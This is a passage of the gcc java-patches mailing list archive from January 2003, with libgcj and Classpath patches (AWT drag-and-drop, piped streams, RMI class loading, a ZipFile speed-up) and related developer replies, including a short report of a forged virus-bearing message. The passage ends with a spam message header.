@@ startDrag(trigger, dragCursor, null, null, trans, dsl, map); } + /** + * Start a drag, given the DragGestureEvent that initiated the drag. + * + * @exception InvalidDnDOperationException If the Drag and Drop system is + * unable to initiate a drag operation, or if the user attempts to start + * a drag while an existing drag operation is still executing. + */ public void startDrag(DragGestureEvent trigger, Cursor dragCursor, Image dragImage, Point imageOffset, Transferable trans, DragSourceListener dsl) @@ -97,12 +130,25 @@ startDrag(trigger, dragCursor, dragImage, imageOffset, trans, dsl, null); } + /** + * Start a drag, given the DragGestureEvent that initiated the drag. + * + * @exception InvalidDnDOperationException If the Drag and Drop system is + * unable to initiate a drag operation, or if the user attempts to start + * a drag while an existing drag operation is still executing. + */ public void startDrag(DragGestureEvent trigger, Cursor dragCursor, Transferable trans, DragSourceListener dsl) { startDrag(trigger, dragCursor, null, null, trans, dsl, null); } + /** + * Creates the DragSourceContext to handle this drag. + * + * @exception IllegalArgumentException FIXME + * @exception NullPointerException If dscp, dgl, dragImage or t is null. + */ protected DragSourceContext createDragSourceContext(DragSourceContextPeer peer, DragGestureEvent dge, Cursor cursor, Image image, Point offset, Index: java/awt/dnd/DropTarget.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTarget.java,v retrieving revision 1.3 diff -u -r1.3 DropTarget.java --- java/awt/dnd/DropTarget.java 10 Nov 2002 00:16:43 -0000 1.3 +++ java/awt/dnd/DropTarget.java 2 Jan 2003 00:10:50 -0000 @@ -42,10 +42,13 @@ import java.awt.datatransfer.FlavorMap; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; +import java.io.Serializable; +import java.util.EventListener; import java.util.TooManyListenersException; /** STUB CLASS ONLY */ public class DropTarget + implements DropTargetListener, EventListener, Serializable { protected static class DropTargetAutoScroller implements ActionListener @@ -67,6 +70,9 @@ } } + // FIXME: check the correctness of default value. + private boolean isActive = false; + /** * FIXME * @@ -133,11 +139,12 @@ public void setActive(boolean isActive) { + this.isActive = isActive; } public boolean isActive() { - return false; + return this.isActive; } /** Index: java/awt/event/WindowEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/event/WindowEvent.java,v retrieving revision 1.7 diff -u -r1.7 WindowEvent.java --- java/awt/event/WindowEvent.java 9 Aug 2002 04:26:15 -0000 1.7 +++ java/awt/event/WindowEvent.java 2 Jan 2003 00:10:51 -0000 @@ -109,7 +109,7 @@ public static final int WINDOW_STATE_CHANGED = 209; /** This is the last id in the range of event ids used by this class. */ - public static final int WINDOW_LAST = 207; + public static final int WINDOW_LAST = 209; /** * The other Window involved in a focus or activation change. For Index: java/awt/geom/PathIterator.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/PathIterator.java,v retrieving revision 1.5 diff -u -r1.5 PathIterator.java --- java/awt/geom/PathIterator.java 7 Nov 2002 08:45:18 -0000 1.5 +++ java/awt/geom/PathIterator.java 2 Jan 2003 00:10:51 -0000 @@ -84,7 +84,7 @@ * (P1), and final interpolated control point (P2): *
    *  P(t) = B(2,0)*CP + B(2,1)*P1 + B(2,2)*P2
-   *    0 <= t <= 1
+   *    0 <= t <= 1
    *  B(n,m) = mth coefficient of nth degree Bernstein polynomial
    *         = C(n,m) * t^(m) * (1 - t)^(n-m)
    *  C(n,m) = Combinations of n things, taken m at a time
@@ -100,7 +100,7 @@
    * (P2), and final interpolated control point (P3):
    * 
    *  P(t) = B(3,0)*CP + B(3,1)*P1 + B(3,2)*P2 + B(3,3)*P3
-   *    0 <= t <= 1
+   *    0 <= t <= 1
    *  B(n,m) = mth coefficient of nth degree Bernstein polynomial
    *         = C(n,m) * t^(m) * (1 - t)^(n-m)
    *  C(n,m) = Combinations of n things, taken m at a time
Index: java/awt/im/InputMethodHighlight.java
===================================================================
RCS file: /cvs/gcc/gcc/libjava/java/awt/im/InputMethodHighlight.java,v
retrieving revision 1.1
diff -u -r1.1 InputMethodHighlight.java
--- java/awt/im/InputMethodHighlight.java 9 Aug 2002 04:26:16 -0000 1.1
+++ java/awt/im/InputMethodHighlight.java 2 Jan 2003 00:10:51 -0000
@@ -178,7 +178,7 @@
    * @return the style map
    * @since 1.3
    */
-  public Map getSytle()
+  public Map getStyle()
   {
     return style;
   }
Index: java/io/PipedOutputStream.java
===================================================================
RCS file: /cvs/gcc/gcc/libjava/java/io/PipedOutputStream.java,v
retrieving revision 1.8
diff -u -r1.8 PipedOutputStream.java
--- java/io/PipedOutputStream.java 22 Jan 2002 22:40:14 -0000 1.8
+++ java/io/PipedOutputStream.java 2 Jan 2003 00:10:51 -0000
@@ -97,7 +97,7 @@
     */
   public void connect(PipedInputStream sink) throws IOException
   {
-    if (sink != null)
+    if (this.sink != null || sink.source != null)
       throw new IOException ("Already connected");
     sink.connect(this);
   }
Index: java/io/PipedWriter.java
===================================================================
RCS file: /cvs/gcc/gcc/libjava/java/io/PipedWriter.java,v
retrieving revision 1.8
diff -u -r1.8 PipedWriter.java
--- java/io/PipedWriter.java 22 Jan 2002 22:40:14 -0000 1.8
+++ java/io/PipedWriter.java 2 Jan 2003 00:10:51 -0000
@@ -100,7 +100,7 @@
     */
   public void connect(PipedReader sink) throws IOException
   {
-    if (sink != null)
+    if (this.sink != null || sink.source != null)
       throw new IOException ("Already connected");
     sink.connect(this);
   }
Index: java/rmi/server/RMIClassLoader.java
===================================================================
RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RMIClassLoader.java,v
retrieving revision 1.5
diff -u -r1.5 RMIClassLoader.java
--- java/rmi/server/RMIClassLoader.java 7 Nov 2002 18:01:04 -0000 1.5
+++ java/rmi/server/RMIClassLoader.java 2 Jan 2003 00:10:51 -0000
@@ -172,7 +172,7 @@
 	  }
       }
 
-    return loader != null ? loader.loadClass(name) : Class.forName(name);
+    return loader.loadClass(name);
   }
   
   public static String getClassAnnotation(Class cl)
Index: java/rmi/server/RMIClassLoaderSpi.java
===================================================================
RCS file: java/rmi/server/RMIClassLoaderSpi.java
diff -N java/rmi/server/RMIClassLoaderSpi.java
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ java/rmi/server/RMIClassLoaderSpi.java 2 Jan 2003 00:10:51 -0000
@@ -0,0 +1,64 @@
+/* RMIClassLoaderSpi.java
+  Copyright (c) 2002 Free Software Foundation, Inc.
+
+This file is part of GNU Classpath.
+
+GNU Classpath is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2, or (at your option)
+any later version.
+
+GNU Classpath is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with GNU Classpath; see the file COPYING.  If not, write to the
+Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+02111-1307 USA.
+
+Linking this library statically or dynamically with other modules is
+making a combined work based on this library.  Thus, the terms and
+conditions of the GNU General Public License cover the whole
+combination.
+
+As a special exception, the copyright holders of this library give you
+permission to link this library with independent modules to produce an
+executable, regardless of the license terms of these independent
+modules, and to copy and distribute the resulting executable under
+terms of your choice, provided that you also meet, for each linked
+independent module, the terms and conditions of the license of that
+module.  An independent module is a module which is not derived from
+or based on this library.  If you modify this library, you may extend
+this exception to your version of the library, but you are not
+obligated to do so.  If you do not wish to do so, delete this
+exception statement from your version. */
+
+package java.rmi.server;
+
+import java.net.MalformedURLException;
+
+/**
+ * @author Michael Koch
+ * @since 1.4
+ */
+public abstract class RMIClassLoaderSpi
+{
+  public RMIClassLoaderSpi()
+  {
+  }
+
+  public abstract Class loadClass (String codeBase, String name,
+                                   ClassLoader defaultLoader)
+    throws MalformedURLException, ClassNotFoundException;
+
+  public abstract Class loadProxyClass (String codeBase, String[] interfaces,
+                                        ClassLoader defaultLoader)
+    throws MalformedURLException, ClassNotFoundException;
+
+  public abstract ClassLoader getClassLoader (String codebase)
+    throws MalformedURLException;
+
+  public abstract String getClassAnnotation (Class cl);
+}

From java-patches-return-5722-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 00:19:13 2003
Return-Path: 
Delivered-To: listarch-java-patches@gcc.gnu.org
Received: (qmail 10514 invoked by alias); 2 Jan 2003 00:19:13 -0000
Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm
Precedence: bulk
List-Subscribe: 
List-Archive: 
List-Post: 
List-Help: , 
Sender: java-patches-owner@gcc.gnu.org
Delivered-To: mailing list java-patches@gcc.gnu.org
Received: (qmail 10502 invoked from network); 2 Jan 2003 00:19:11 -0000
Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17)
  by 209.249.29.67 with SMTP; 2 Jan 2003 00:19:11 -0000
Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103])
	by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA01154;
	Wed, 1 Jan 2003 17:18:41 -0700
Received: by fleche.redhat.com (Postfix, from userid 1000)
	id F3FAD4F8087; Wed,  1 Jan 2003 17:21:03 -0700 (MST)
To: Java Patch List 
Cc: Gcc Patch List 
Subject: Patch: FYI: Classpath comparison
From: Tom Tromey 
Reply-To: tromey@redhat.com
X-Attribution:  Tom
X-Zippy:  Where's my SOCIAL WORKER?
Date: 01 Jan 2003 17:21:03 -0700
Message-ID: <87adik4d1s.fsf@fleche.redhat.com>
Lines: 90
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

I'm checking this in; a classpath comparison after today's merge
activity.

Tom

Index: ChangeLog
from  Tom Tromey  

	* libgcj-classpath-compare.html: Rebuilt.

Index: libgcj-classpath-compare.html
===================================================================
RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v
retrieving revision 1.59
diff -u -r1.59 libgcj-classpath-compare.html
--- libgcj-classpath-compare.html 31 Dec 2002 22:30:46 -0000 1.59
+++ libgcj-classpath-compare.html 2 Jan 2003 00:18:18 -0000
@@ -8,7 +8,7 @@
 

This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2002-12-31. +2003-01-01. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -18,45 +18,8 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -69,8 +32,6 @@ - - @@ -140,8 +101,6 @@ - - From java-patches-return-5723-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 09:28:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15905 invoked by alias); 2 Jan 2003 09:28:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15895 invoked from network); 2 Jan 2003 09:28:13 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 2 Jan 2003 09:28:13 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18U1dN-0001Da-00; Thu, 02 Jan 2003 10:27:25 +0100 Subject: Re: Patch: URLClassLoader change From: Mark Wielaard To: tromey@redhat.com Cc: Anthony Green , Java Patch List , Jeroen Frijters In-Reply-To: <878yy7w2tk.fsf@fleche.redhat.com> References: <871y4qwxyz.fsf@fleche.redhat.com> <1039550858.7431.34.camel@elsschot> <1041199501.23200.350.camel@elsschot> <1041214175.14665.12.camel@escape> <1041232267.30526.19.camel@elsschot> <878yy7w2tk.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1041499673.20752.12.camel@elsschot> Mime-Version: 1.0 Date: 02 Jan 2003 10:27:53 +0100 Content-Transfer-Encoding: 7bit Hi, On Mon, 2002-12-30 at 23:37, Tom Tromey wrote: > If it is really not possible to cleanly fix this, then go ahead and > check in your patch. If you could, also submit a PR so we know to fix > this in the future. Given that you and Jeroen say that the clean way, doing it through File.toURL(), currently doesn't work correctly in either gcj or Classpath I will check in what we have now since that is at least known to work and consistent on all platforms. New bug is #9124. Cheers, Mark From java-patches-return-5724-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 09:46:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20072 invoked by alias); 2 Jan 2003 09:46:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20065 invoked from network); 2 Jan 2003 09:46:25 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 2 Jan 2003 09:46:25 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18U1v2-0001EL-00; Thu, 02 Jan 2003 10:45:40 +0100 Subject: Re: Have a funny Epiphany From: Mark Wielaard To: Laurent Cc: java-patches@gcc.gnu.org In-Reply-To: <3E133E7B.BFEDD934@magic.fr> References: <20030101175057.C633C1719@relay-3v.club-internet.fr> <3E133E7B.BFEDD934@magic.fr> Content-Type: text/plain Organization: Message-Id: <1041500769.20751.21.camel@elsschot> Mime-Version: 1.0 Date: 02 Jan 2003 10:46:09 +0100 Content-Transfer-Encoding: 7bit Hi, On Wed, 2003-01-01 at 20:16, Laurent wrote: > My ISP pretends there is a virus attached in message > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00000.html The message in question didn't originate from me. I also got a message like this with a forged From header (both came from club-internet.fr mail relays). The attachment seems to be a "MS-DOS executable (EXE), OS/2 or MS Windows" (according to file). It might be a good idea to block messages to the mailing list that contain attachments of this type. Cheers, Mark From java-patches-return-5725-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 13:43:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28642 invoked by alias); 2 Jan 2003 13:43:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27981 invoked from network); 2 Jan 2003 13:43:10 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 2 Jan 2003 13:43:10 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18U5bs-0001bw-00; Thu, 02 Jan 2003 14:42:08 +0100 Subject: ZipFile patch (Was: eclipse status) From: Mark Wielaard To: tromey@redhat.com, Artur Biesiadowski Cc: java-patches@gcc.gnu.org, classpath@gnu.org In-Reply-To: <87el7yk3u7.fsf@fleche.redhat.com> References: <1040605813.760.55.camel@elsschot> <1040614353.16983.66.camel@escape> <1040616449.16986.76.camel@escape> <1040691492.6675.24.camel@elsschot> <1040692861.16983.255.camel@escape> <1040721048.12113.22.camel@elsschot> <87el7yk3u7.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1041514957.20751.92.camel@elsschot> Mime-Version: 1.0 Date: 02 Jan 2003 14:42:37 +0100 Content-Transfer-Encoding: 7bit Hi, On Tue, 2002-12-31 at 09:08, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> Artur Biesiadowski has some real patches to reduce memory use in > Mark> java.util.zip. But I am using the attached hacks which already make > Mark> Eclipse reasonable usable on my 1.4Ghz machine > > The ZipFile patch seems pretty reasonable to me. I haven't read > Artur's patch yet. I assume it includes the equivalent. Putting > something like this in the tree sooner rather than later (i.e., no > need to wait for a full review of Artur's entire patch) would be > useful. I asked Artur for his patch and used only his ZipFile changes since they are the most useful for libgcj (not all other java.util.zip classes are shared). The code changes are from Artur Biesiadowski, I only cleaned up some comments and changed indentation a bit. The code changes that I made which were not in Artur his original patch: - removed the createTrustedInflaterStream() call since I didn't want to merge InflaterInputStream at this moment. - wrapped the PartialInputStream in an BufferedInputStream which saves another couple of native read calls. 2003-02-01 Artur Biesiadowski Mark Wielaard * java/util/zip/ZipFile.java (entries): Now HashMap. (readLeShort(DataInput, byte[])): Read from given byte array. (readLeInt(DataInput, byte[]): Likewise. (readLeShort(byte[] b, int off)): New method. (readLeInt(byte[] b, int off)): Likewise. (readEntries): Use byte arrays to read info in bigger chunks. (getEntries): Return HashMap. (getEntry): Use HashMap. (locBuf): New private field. (checkLocalHeader): Use locBuf to read info in one chunk. (getInputStream): Use entires HashMap, wrap PartialInputStream in BufferedInputStream. (ZipEntryEnumeration): Use HashMap and Interator. Would it be OK to check this in libgcj (main and branch) and Classpath for now since it speeds up zip file reading so much? Hopefully John Leuner can review the other java.util.zip changes. Cheers, Mark From java-patches-return-5726-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 13:48:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5321 invoked by alias); 2 Jan 2003 13:48:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4967 invoked from network); 2 Jan 2003 13:48:38 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 2 Jan 2003 13:48:38 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18U5hF-0001cB-00; Thu, 02 Jan 2003 14:47:41 +0100 Subject: Re: ZipFile patch (Was: eclipse status) From: Mark Wielaard To: tromey@redhat.com Cc: Artur Biesiadowski , java-patches@gcc.gnu.org, classpath@gnu.org In-Reply-To: <1041514957.20751.92.camel@elsschot> References: <1040605813.760.55.camel@elsschot> <1040614353.16983.66.camel@escape> <1040616449.16986.76.camel@escape> <1040691492.6675.24.camel@elsschot> <1040692861.16983.255.camel@escape> <1040721048.12113.22.camel@elsschot> <87el7yk3u7.fsf@fleche.redhat.com> <1041514957.20751.92.camel@elsschot> Content-Type: multipart/mixed; boundary="=-Wi3LfN97NN0GsV6AKMrx" Organization: Message-Id: <1041515290.20752.95.camel@elsschot> Mime-Version: 1.0 Date: 02 Jan 2003 14:48:10 +0100 --=-Wi3LfN97NN0GsV6AKMrx Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Thu, 2003-01-02 at 14:42, Mark Wielaard wrote: > 2003-02-01 Artur Biesiadowski > Mark Wielaard > > * java/util/zip/ZipFile.java (entries): Now HashMap. > (readLeShort(DataInput, byte[])): Read from given byte array. > (readLeInt(DataInput, byte[]): Likewise. > (readLeShort(byte[] b, int off)): New method. > (readLeInt(byte[] b, int off)): Likewise. > (readEntries): Use byte arrays to read info in bigger chunks. > (getEntries): Return HashMap. > (getEntry): Use HashMap. > (locBuf): New private field. > (checkLocalHeader): Use locBuf to read info in one chunk. > (getInputStream): Use entires HashMap, wrap PartialInputStream in > BufferedInputStream. > (ZipEntryEnumeration): Use HashMap and Interator. Patch now attached. Cheers, Mark --=-Wi3LfN97NN0GsV6AKMrx Content-Disposition: inline; filename=ZipFile.patch Content-Type: text/x-patch; name=ZipFile.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/util/zip/ZipFile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/zip/ZipFile.java,v retrieving revision 1.19 diff -u -r1.19 ZipFile.java --- java/util/zip/ZipFile.java 3 Dec 2002 22:06:31 -0000 1.19 +++ java/util/zip/ZipFile.java 2 Jan 2003 13:47:48 -0000 @@ -1,5 +1,5 @@ /* java.util.zip.ZipFile - Copyright (C) 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -37,6 +37,7 @@ package java.util.zip; +import java.io.BufferedInputStream; import java.io.ByteArrayInputStream; import java.io.DataInput; import java.io.DataInputStream; @@ -46,7 +47,8 @@ import java.io.EOFException; import java.io.RandomAccessFile; import java.util.Enumeration; -import java.util.Hashtable; +import java.util.HashMap; +import java.util.Iterator; import java.util.NoSuchElementException; /** @@ -58,6 +60,7 @@ * entries in different threads. * * @author Jochen Hoenicke + * @author Artur Biesiadowski */ public class ZipFile implements ZipConstants { @@ -79,7 +82,7 @@ private final RandomAccessFile raf; // The entries of this zip file when initialized and not yet closed. - private Hashtable entries; + private HashMap entries; private boolean closed = false; @@ -137,33 +140,74 @@ } /** - * Read an unsigned short in little endian byte order. + * Read an unsigned short in little endian byte order from the given + * DataInput stream using the given byte buffer. + * + * @param di DataInput stream to read from. + * @param b the byte buffer to read in (must be at least 2 bytes long). + * @return The value read. + * * @exception IOException if a i/o error occured. * @exception EOFException if the file ends prematurely */ - private final int readLeShort(DataInput di) throws IOException + private final int readLeShort(DataInput di, byte[] b) throws IOException { - byte[] b = new byte[2]; - di.readFully(b); + di.readFully(b, 0, 2); return (b[0] & 0xff) | (b[1] & 0xff) << 8; } /** - * Read an int in little endian byte order. + * Read an int in little endian byte order from the given + * DataInput stream using the given byte buffer. + * + * @param di DataInput stream to read from. + * @param b the byte buffer to read in (must be at least 4 bytes long). + * @return The value read. + * * @exception IOException if a i/o error occured. * @exception EOFException if the file ends prematurely */ - private final int readLeInt(DataInput di) throws IOException + private final int readLeInt(DataInput di, byte[] b) throws IOException { - byte[] b = new byte[4]; - di.readFully(b); + di.readFully(b, 0, 4); return ((b[0] & 0xff) | (b[1] & 0xff) << 8) | ((b[2] & 0xff) | (b[3] & 0xff) << 8) << 16; } + + /** + * Read an unsigned short in little endian byte order from the given + * byte buffer at the given offset. + * + * @param b the byte array to read from. + * @param off the offset to read from. + * @return The value read. + */ + private final int readLeShort(byte[] b, int off) + { + return (b[off] & 0xff) | (b[off+1] & 0xff) << 8; + } + + /** + * Read an int in little endian byte order from the given + * byte buffer at the given offset. + * + * @param b the byte array to read from. + * @param off the offset to read from. + * @return The value read. + */ + private final int readLeInt(byte[] b, int off) + { + return ((b[off] & 0xff) | (b[off+1] & 0xff) << 8) + | ((b[off+2] & 0xff) | (b[off+3] & 0xff) << 8) << 16; + } + + /** * Read the central directory of a zip file and fill the entries - * array. This is called exactly once when first needed. + * array. This is called exactly once when first needed. It is called + * while holding the lock on raf. + * * @exception IOException if a i/o error occured. * @exception ZipException if the central directory is malformed */ @@ -175,6 +219,8 @@ * file isn't a zip file. */ long pos = raf.length() - ENDHDR; + byte[] ebs = new byte[CENHDR]; + do { if (pos < 0) @@ -182,45 +228,42 @@ ("central directory not found, probably not a zip file: " + name); raf.seek(pos--); } - while (readLeInt(raf) != ENDSIG); + while (readLeInt(raf, ebs) != ENDSIG); + if (raf.skipBytes(ENDTOT - ENDNRD) != ENDTOT - ENDNRD) throw new EOFException(name); - int count = readLeShort(raf); + int count = readLeShort(raf, ebs); if (raf.skipBytes(ENDOFF - ENDSIZ) != ENDOFF - ENDSIZ) throw new EOFException(name); - int centralOffset = readLeInt(raf); + int centralOffset = readLeInt(raf, ebs); - entries = new Hashtable(count); + entries = new HashMap(count+count/2); raf.seek(centralOffset); - byte[] ebs = new byte[24]; - ByteArrayInputStream ebais = new ByteArrayInputStream(ebs); - DataInputStream edip = new DataInputStream(ebais); + + byte[] buffer = new byte[16]; for (int i = 0; i < count; i++) { - if (readLeInt(raf) != CENSIG) + raf.readFully(ebs); + if (readLeInt(ebs, 0) != CENSIG) throw new ZipException("Wrong Central Directory signature: " + name); - if (raf.skipBytes(CENHOW - CENVEM) != CENHOW - CENVEM) - throw new EOFException(name); - - raf.readFully(ebs); - ebais.reset(); - int method = readLeShort(edip); - int dostime = readLeInt(edip); - int crc = readLeInt(edip); - int csize = readLeInt(edip); - int size = readLeInt(edip); - int nameLen = readLeShort(edip); - int extraLen = readLeShort(edip); - int commentLen = readLeShort(edip); - - if (raf.skipBytes(CENOFF - CENDSK) != CENOFF - CENDSK) - throw new EOFException(name); - int offset = readLeInt(raf); - byte[] buffer = new byte[Math.max(nameLen, commentLen)]; + int method = readLeShort(ebs, CENHOW); + int dostime = readLeInt(ebs, CENTIM); + int crc = readLeInt(ebs, CENCRC); + int csize = readLeInt(ebs, CENSIZ); + int size = readLeInt(ebs, CENLEN); + int nameLen = readLeShort(ebs, CENNAM); + int extraLen = readLeShort(ebs, CENEXT); + int commentLen = readLeShort(ebs, CENCOM); + + int offset = readLeInt(ebs, CENOFF); + + int needBuffer = Math.max(nameLen, commentLen); + if (buffer.length < needBuffer) + buffer = new byte[needBuffer]; raf.readFully(buffer, 0, nameLen); - String name = new String(buffer, 0, nameLen); + String name = new String(buffer, 0, 0, nameLen); ZipEntry entry = new ZipEntry(name); entry.setMethod(method); @@ -248,6 +291,7 @@ * Closes the ZipFile. This also closes all input streams given by * this class. After this is called, no further method should be * called. + * * @exception IOException if a i/o error occured. */ public void close() throws IOException @@ -267,7 +311,7 @@ { try { - return new ZipEntryEnumeration(getEntries().elements()); + return new ZipEntryEnumeration(getEntries().values().iterator()); } catch (IOException ioe) { @@ -281,7 +325,7 @@ * @exception IllegalStateException when the ZipFile has already been closed. * @exception IOEexception when the entries could not be read. */ - private Hashtable getEntries() throws IOException + private HashMap getEntries() throws IOException { synchronized(raf) { @@ -297,15 +341,16 @@ /** * Searches for a zip entry in this archive with the given name. + * * @param the name. May contain directory components separated by * slashes ('/'). * @return the zip entry, or null if no entry with that name exists. - * @see #entries */ + */ public ZipEntry getEntry(String name) { try { - Hashtable entries = getEntries(); + HashMap entries = getEntries(); ZipEntry entry = (ZipEntry) entries.get(name); return entry != null ? (ZipEntry) entry.clone() : null; } @@ -315,10 +360,17 @@ } } + + //access should be protected by synchronized(raf) + private byte[] locBuf = new byte[LOCHDR]; + /** * Checks, if the local header of the entry at index i matches the * central directory, and returns the offset to the data. + * + * @param entry to check. * @return the start offset of the (compressed) data. + * * @exception IOException if a i/o error occured. * @exception ZipException if the local header doesn't match the * central directory header @@ -328,24 +380,18 @@ synchronized (raf) { raf.seek(entry.offset); - if (readLeInt(raf) != LOCSIG) + raf.readFully(locBuf); + + if (readLeInt(locBuf, 0) != LOCSIG) throw new ZipException("Wrong Local header signature: " + name); - /* skip version and flags */ - if (raf.skipBytes(LOCHOW - LOCVER) != LOCHOW - LOCVER) - throw new EOFException(name); - - if (entry.getMethod() != readLeShort(raf)) + if (entry.getMethod() != readLeShort(locBuf, LOCHOW)) throw new ZipException("Compression method mismatch: " + name); - /* Skip time, crc, size and csize */ - if (raf.skipBytes(LOCNAM - LOCTIM) != LOCNAM - LOCTIM) - throw new EOFException(name); - - if (entry.getName().length() != readLeShort(raf)) + if (entry.getName().length() != readLeShort(locBuf, LOCNAM)) throw new ZipException("file name length mismatch: " + name); - int extraLen = entry.getName().length() + readLeShort(raf); + int extraLen = entry.getName().length() + readLeShort(locBuf, LOCEXT); return entry.offset + LOCHDR + extraLen; } } @@ -354,13 +400,16 @@ * Creates an input stream reading the given zip entry as * uncompressed data. Normally zip entry should be an entry * returned by getEntry() or entries(). + * + * @param entry the entry to create an InputStream for. * @return the input stream. + * * @exception IOException if a i/o error occured. * @exception ZipException if the Zip archive is malformed. */ public InputStream getInputStream(ZipEntry entry) throws IOException { - Hashtable entries = getEntries(); + HashMap entries = getEntries(); String name = entry.getName(); ZipEntry zipEntry = (ZipEntry) entries.get(name); if (zipEntry == null) @@ -368,8 +417,8 @@ long start = checkLocalHeader(zipEntry); int method = zipEntry.getMethod(); - InputStream is = new PartialInputStream - (raf, start, zipEntry.getCompressedSize()); + InputStream is = new BufferedInputStream(new PartialInputStream + (raf, start, zipEntry.getCompressedSize())); switch (method) { case ZipOutputStream.STORED: @@ -406,16 +455,16 @@ private static class ZipEntryEnumeration implements Enumeration { - private final Enumeration elements; + private final Iterator elements; - public ZipEntryEnumeration(Enumeration elements) + public ZipEntryEnumeration(Iterator elements) { this.elements = elements; } public boolean hasMoreElements() { - return elements.hasMoreElements(); + return elements.hasNext(); } public Object nextElement() @@ -423,13 +472,13 @@ /* We return a clone, just to be safe that the user doesn't * change the entry. */ - return ((ZipEntry)elements.nextElement()).clone(); + return ((ZipEntry)elements.next()).clone(); } } private static class PartialInputStream extends InputStream { - RandomAccessFile raf; + private final RandomAccessFile raf; long filepos, end; public PartialInputStream(RandomAccessFile raf, long start, long len) --=-Wi3LfN97NN0GsV6AKMrx-- From java-patches-return-5727-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 14:07:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14632 invoked by alias); 2 Jan 2003 14:07:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14605 invoked from network); 2 Jan 2003 14:07:26 -0000 Received: from unknown (HELO linux.local) (213.9.250.190) by 209.249.29.67 with SMTP; 2 Jan 2003 14:07:26 -0000 Received: (qmail 19992 invoked from network); 29 Dec 2002 19:15:26 -0000 Received: from unknown (HELO admin) (192.168.0.1) by linux.local with SMTP; 29 Dec 2002 19:15:26 -0000 From: "Admin" Subject: Low Price Fags To: java-patches@gcc.gnu.org Reply-To: admin@advertiger.com 